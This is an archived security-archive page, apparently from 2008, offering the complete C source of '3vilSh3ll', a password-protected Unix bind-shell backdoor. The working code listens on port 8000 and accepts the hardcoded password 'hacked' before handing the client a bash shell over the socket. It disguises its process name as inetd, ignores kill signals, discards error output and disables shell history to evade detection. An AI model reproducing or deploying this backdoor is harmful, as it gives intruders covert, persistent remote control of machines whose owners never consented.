the internet's safety

3vilSh3ll.c

3vilSh3ll.c
Posted Mar 19, 2008
Authored by Simpp

Classic backdoor bindshell that is password protected, hides activity, forks, and does all the expected functions of an evil backdoor.

tags | tool, rootkit
systems | unix
MD5 | 9cf37a9cec5547cca5c9872fbe651b5f

3vilSh3ll.c

Change Mirror Download
/*

------------------------------------
- BACKDOOR BIND CONNECT -
------------------------------------



Author info :

Code : Simpp
Contact : somebody
For : # Bad Digites Team #
Link : http://www.magichack.powa.fr/board
Why : Just for fun



Programm's info :

name :
3vilSh3ll

Compile :
gcc -g -W -Wall -Wextra -o backdoor 3vilSh3ll.c


client :
Netcat


description :
Simple backdoor bind connect .
change the name procecus for hide the command ps .
ignore signal SIGTERM SIGINT SIGQUIT for don't stop the backdoor .
redirect stderr in /dev/null for discret .
create procecus child for execute the evil code .
need passwd for connect backdoor .
redirect bash history (HISTFILE) in /dev/null for the new shell .
redirect stdout , stdin in socket client .

*/


/**** header ****/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>


/**** config ****/

#define HIDE "/usr/sbin/inetd"
#define PORT 8000
#define ACL "\n\tBind Banckdoor by Simpp\n\tFor : # Bad Digites Team #\n\nPasswd : "
#define MAGIC_OK "Passwd accpet connect ...\n"
#define MAGIC_NO "Passwd error connect failed ...\n"
#define MAGIC_KEY "hacked"
#define NULL_LOG "/dev/null"
#define VAR "HISTFILE=/dev/null"
#define CMD "/bin/bash"



/**** structure socket ****/

typedef struct _socket_client_s {
int socket_cli;
struct sockaddr_in from;
socklen_t fromlen;
} socket_client_t;


typedef struct _socket_server_s {
int socket_serv;
struct sockaddr_in addr;
} socket_server_t;



/**** prototype fonction socket server ****/

int socket_server_new(socket_server_t *server);
int socket_server_bind(socket_server_t *server);
int socket_server_listen(socket_server_t *server);
int socket_server_accept_client(socket_server_t *server, socket_client_t *client);
void socket_server_free(socket_server_t *server);



/**** prototype fonction socket client ****/

int socket_client_send(int socket_cli, const char *txt);
int socket_client_recv(int socket_cli, char **buff);
int socket_client_connect_dup2(int socket);
void socket_client_free(socket_client_t *client);



/**** prototype fonction else ;) ****/

void hidden_process(char *argv[]);
void ignore_signal(void);
void clean_log(void);
int redirect_bash_history(void);
int child(void);
void client_fonction(socket_server_t *server);
int check_client(int socket_cli);
int check_passwd(char *pass);



/**** main programm's ****/

int main(int argc, char *argv[])
{
(void) argc;
(void) argv;

pid_t pid;

hidden_process(argv);
clean_log();
ignore_signal();


pid = fork();
if ( pid == -1 ) {
printf("fork() failed\n");
return EXIT_FAILURE;
}

if ( pid )
exit(0);

if ( !pid ) {

if ( child() == -1 )
return EXIT_FAILURE;

}


return EXIT_SUCCESS;
}



/**** fonction socket server ****/

int
socket_server_new(socket_server_t *server)
{
server->socket_serv = socket(AF_INET, SOCK_STREAM, 0);

if ( server->socket_serv == -1 )
return -1;


server->addr.sin_family = AF_INET;
server->addr.sin_port = htons(PORT);
server->addr.sin_addr.s_addr = INADDR_ANY;

return 0;
}


int
socket_server_bind(socket_server_t *server)
{
int ret;

ret = bind(server->socket_serv, (struct sockaddr *)&server->addr, sizeof(server->addr));

if ( ret == -1 )
return -1;

return 0;
}


int
socket_server_listen(socket_server_t *server)
{
int ret;

ret = listen(server->socket_serv, 10000);

if ( ret == -1 )
return -1;

return 0;
}


int
socket_server_accept_client(socket_server_t *server, socket_client_t *client)
{
client->fromlen = sizeof(struct sockaddr);

client->socket_cli = accept(server->socket_serv, (struct sockaddr *)&client->from, &client->fromlen);

if ( client->socket_cli == -1 )
return -1;

return 0;
}


void
socket_server_free(socket_server_t *server)
{
if ( server != NULL ) {

if ( server->socket_serv != -1 )
close(server->socket_serv);

free(server);
server = NULL;
}
}

/*************************************************************/



/**** fonction socket client ****/

int
socket_client_send(int socket_cli, const char *txt)
{
int ret;

ret = write(socket_cli, txt , strlen(txt));

if ( ret == -1 )
return -1;

return 0;
}


int
socket_client_recv(int socket_cli, char **buff)
{
int ret;

memset(*buff, 0, 50);

ret = read(socket_cli, *buff, 50);

if ( ret == -1 )
return -1;

return 0;
}


int
socket_client_connect_dup2(int socket)
{
int ret1, ret2;

close(0);
close(1);
ret1 = dup2(socket, 0);
ret2 = dup2(socket, 1);

if ( ret1 == -1 || ret2 == -1 )
return -1;

return 0;
}


void
socket_client_free(socket_client_t *client)
{
if ( client != NULL ) {

if ( client->socket_cli != -1 )
close(client->socket_cli);

free(client);
client = NULL;
}
}

/*************************************************************/



/**** fonction else ****/

void
hidden_process(char *argv[])
{
strcpy(argv[0], HIDE);
}


void
clean_log(void)
{
int log;

close(2);
close(3);

log = open(NULL_LOG, O_WRONLY);

dup2(log, 2);
dup2(log, 3);

close(log);

}

void
ignore_signal(void)
{
signal(SIGQUIT, SIG_IGN);
signal(SIGTERM, SIG_IGN);
signal(SIGINT, SIG_IGN);
}


int
redirect_bash_history(void)
{

if ( putenv(VAR) == -1 )
return -1;

return 0;
}


int
child(void)
{
socket_server_t *server = malloc(sizeof(socket_server_t));

if ( server == NULL ) {
printf("malloc *server failed\n");
return -1;
}


if ( socket_server_new(server) == -1 ) {
printf("create new socket server failed\n");
return -1;
}


if ( socket_server_bind(server) == -1 ) {
printf("socket server bind failed\n");
return -1;
}


if ( socket_server_listen(server) == -1 ) {
printf("socket sever listen failed\n");
return -1;
}


if ( redirect_bash_history() == -1 )
printf("redirect HISTFILE on /dev/null failed\n");


while ( 1 ) {

client_fonction(server);

}

socket_server_free(server);
}


void
client_fonction(socket_server_t *server)
{

socket_client_t *client = malloc(sizeof(socket_client_t));

if ( client == NULL )
return;

if ( socket_server_accept_client(server, client) != -1 ) {

if ( check_client(client->socket_cli) != -1 ) {

if ( socket_client_connect_dup2(client->socket_cli) != -1 ) {

system(CMD);

}

}
}


socket_client_free(client);
}


int
check_client(int socket_cli)
{
char *passwd = malloc(50 * sizeof(char));

if ( passwd == NULL )
return -1;


if ( socket_client_send(socket_cli, ACL) == -1 )
return -1;


if ( socket_client_recv(socket_cli, &passwd) == -1 )
return -1;


if ( check_passwd(passwd) == -1 ) {

if ( socket_client_send(socket_cli, MAGIC_NO) == -1 )
return -1;

return -1;
}


else {

if ( socket_client_send(socket_cli, MAGIC_OK) == -1 )
return -1;
}


free(passwd);
passwd = NULL;

return 0;
}


int
check_passwd(char *pass)
{
char *buff = NULL;

buff = strtok(pass, "\n");

if ( !strcmp(MAGIC_KEY, buff) )
return 0;

else
return -1;

}

/*************************************************************/


/*####################### END #######################*/

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close